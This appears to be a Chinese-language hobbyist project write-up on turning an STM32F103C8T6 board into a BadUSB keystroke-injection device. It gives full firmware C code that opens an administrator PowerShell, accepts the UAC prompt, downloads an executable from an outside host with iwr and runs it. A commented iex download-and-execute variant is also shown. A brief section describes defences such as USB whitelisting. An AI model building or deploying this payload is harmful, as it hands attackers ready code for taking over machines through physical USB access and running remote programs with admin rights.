BadUSB Device Design based on STM32F103C8T6

From this project, you can learn to design BadUSB Device by STM32F103C8T6 Development board to learn BadUSB Attack strategy.

BadUSB Device Design based on STM32F103C8T6.

Author: Asterism Date: 2026.2.14

Lastest edited on 2026.2.15


Introduction

本项目通过对STM32F103C8T6进行编程,让其模拟USB键盘设备,自动输入攻击载荷。 攻击过程:

  • 通过快捷键启动运行
  • 以管理员权限启动powershell
  • UAC确认
  • 用powershell命令下载后台程序
  • 运行后台程序

Background Imformation

BadUSB攻击:因为Windows系统队USB设备提供信息的几乎无条件信任,所以可以让USB外设模拟特定设备(例如鼠标键盘)的自定义行为,实现自动输入攻击载荷。因为这类攻击是基于对外设的信任,在系统眼中就是普通的USB外设在像电脑输入信息,所以各种防护软件几乎无法有效防御。

防御:

  1. 禁用或限制USB外设:通过软件或硬件对USB设备进行白名单管制,仅允许受信任的设备接入。广泛采用的方案,容易实现且便利性牺牲较小,是目前最理想的方案。
  2. 签名:验证硬件签名,驱动签名。能有一定防护效果,不过由于Windows生态的开放,这种措施没有得到普及
  3. 监控USB设备行为:监控其信息输入速度,频率,间隔等指标,分辨是正常设备还是恶意设备。但是这种方法很容易被绕过,防御效果不佳

Windows权限继承:用管理员权限的powershell启动某个程序时,默认不需要UAC确认,即可继承管理员权限

虽然目前已经有了很好的防护方案,但是现在私人的USB外设安全意识几乎为零,所以这仍然是一个能够轻易实现的攻击手法

准备工作

依赖项目

  • STM32_USB_Keyboard(Blog:STM32F103C8T6 uses a USB interface as an HID Keyboard.)

硬件

  • STM32F103C8T6开发板
  • MicroUSB数据线
  • ST-LINK下载器

软件

  • STM32CubeIDE
  • Visual Studio 2022
  • Powershell

payload设计

  • Win+R 启动运行
  • CAPSLOCK 用大写模式
  • powershell
  • Ctrl+Shift+Enter 以管理员身份启动的快捷键
  • 选择UAC的确定
  • Enter
  • //iex((iwr photoncache.pages.dev/876586/ -UseBasicParsing).Content)
  • [System.IO.File]::WriteAllBytes(‘C:\BadUSB_Strobe.exe’,(iwr photoncache.pages.dev/876586/BadUSB_Strobe.exe -UseBasicParsing).Content) 将photoncache.pages.dev/876586/BadUSB_Strobe.exe的线上内容存入C:\BadUSB_Strobe.exe
  • C:\BadUSB_Strobe.exe 运行
  • Enter
  • CAPSLOCK

注意

  • 因为Windows10之后,系统微软输入法每次打开新窗口默认设置为中文,所以为了避免输入被定向到输入法中,所以直接用大写模式也是有效命令,不过文件名和网址等名称就要注意修改
  • 因为有些步骤需要等待系统响应,并且不同电脑的响应速度不一样,所以需要等待充足的时间。
  • powershell命令行有输入阻塞,所以命令的输入之间不需要等待
  • 因为有时候通过运行启动powershell时窗口焦点不会落在新窗口上,而是上一个窗口上,所以需要启动两次powershell

代码

/Core/Src/main.c

USB_Keyboard_Send_String()

为了方便代码的编写,在USB_Keyboard_Send_Key后定义字符串发送函数USB_Keyboard_Send_String

此函数只适配了部分符号

void USB_Keyboard_Send_String(const char str[])
{
    /*
    已经适配的字符:
    0~9
    a~z
    A~Z
    ()./- :[]',\_
    */
    unsigned short int i=0;
    while(str[i]!='\0')
    {
        HAL_Delay(10);
        if (str[i]>='a' && str[i]<='z')
        {
            USB_Keyboard_Send_Key(0,KEY_A+(str[i]-'a'));
        }
        else if (str[i]>='A' && str[i]<='Z')
        {
            USB_Keyboard_Send_Key(KEY_MOD_LSHIFT,KEY_A+(str[i]-'A'));
        }
        else if (str[i]>='0' && str[i]<='9')
        {
            if (str[i]=='0')
            {
                USB_Keyboard_Send_Key(0,KEY_0);
            }
            else
            {
                USB_Keyboard_Send_Key(0,KEY_1+(str[i]-'1'));
            }
        }
        else if (str[i]=='(') USB_Keyboard_Send_Key(KEY_MOD_RSHIFT,KEY_9);
        else if (str[i]==')') USB_Keyboard_Send_Key(KEY_MOD_RSHIFT,KEY_0);
        else if (str[i]=='.') USB_Keyboard_Send_Key(0,KEY_DOT);
        else if (str[i]=='/') USB_Keyboard_Send_Key(0,KEY_SLASH);
        else if (str[i]=='-') USB_Keyboard_Send_Key(0,KEY_MINUS);
        else if (str[i]==' ') USB_Keyboard_Send_Key(0,KEY_SPACE);
        else if (str[i]==':') USB_Keyboard_Send_Key(KEY_MOD_RSHIFT,KEY_SEMICOLON);
        else if (str[i]=='[') USB_Keyboard_Send_Key(0,KEY_LEFTBRACE);
        else if (str[i]==']') USB_Keyboard_Send_Key(0,KEY_RIGHTBRACE);
        else if (str[i]=='\'') USB_Keyboard_Send_Key(0,KEY_APOSTROPHE);
        else if (str[i]==',') USB_Keyboard_Send_Key(0,KEY_COMMA);
        else if (str[i]=='\\') USB_Keyboard_Send_Key(0,KEY_BACKSLASH);
        else if (str[i]=='_') USB_Keyboard_Send_Key(KEY_MOD_RSHIFT,KEY_MINUS);
        i++;
    }
}

main()

while (1)
{
    /*
    Win+R
    CAPSLOCK
    powershell
    Ctrl+Shift+Enter
    Enter
    //iex((iwr photoncache.pages.dev/876586/ -UseBasicParsing).Content)
    [System.IO.File]::WriteAllBytes('C:\BadUSB_Strobe.exe',(iwr photoncache.pages.dev/876586/BadUSB_Strobe.exe -UseBasicParsing).Content)
    C:\BadUSB_Strobe.exe
    Enter
    CAPSLOCK
    */
    HAL_Delay(2000);

    USB_Keyboard_Send_Key(0, KEY_CAPSLOCK);
    USB_Keyboard_Send_Key(KEY_MOD_LGUI, KEY_R);
    HAL_Delay(800);
    USB_Keyboard_Send_String("powershell");
    USB_Keyboard_Send_Key(KEY_MOD_LCTRL | KEY_MOD_LSHIFT, KEY_ENTER);
    HAL_Delay(1200);
    USB_Keyboard_Send_Key(0, KEY_LEFT);
    USB_Keyboard_Send_Key(0, KEY_ENTER);

    HAL_Delay(3000);

    USB_Keyboard_Send_Key(KEY_MOD_LGUI, KEY_R);
    HAL_Delay(800);
    USB_Keyboard_Send_String("powershell");
    USB_Keyboard_Send_Key(KEY_MOD_LCTRL | KEY_MOD_LSHIFT, KEY_ENTER);
    HAL_Delay(1200);
    USB_Keyboard_Send_Key(0, KEY_LEFT);
    USB_Keyboard_Send_Key(0, KEY_ENTER);

    HAL_Delay(2000);

    //iex((iwr photoncache.pages.dev/876586/ -UseBasicParsing).Content)
    //USB_Keyboard_Send_String("iex((iwr photoncache.pages.dev/876586/ -UseBasicParsing).Content)");
    USB_Keyboard_Send_String("[System.IO.File]::WriteAllBytes('C:\\bADusb_sTROBE.EXE',(iwr PHOTONCACHE.PAGES.DEV/876586/bADusb_sTROBE.EXE -UseBasicParsing).Content)");//自定义payload
    USB_Keyboard_Send_Key(0, KEY_ENTER);
    USB_Keyboard_Send_String("C:\\bADusb_sTROBE.EXE");
    USB_Keyboard_Send_Key(0, KEY_ENTER);
    USB_Keyboard_Send_Key(0, KEY_CAPSLOCK);
    HAL_Delay(5000);
    }

用MicroUSB连接到电脑后,设备就会自动向电脑输入攻击命令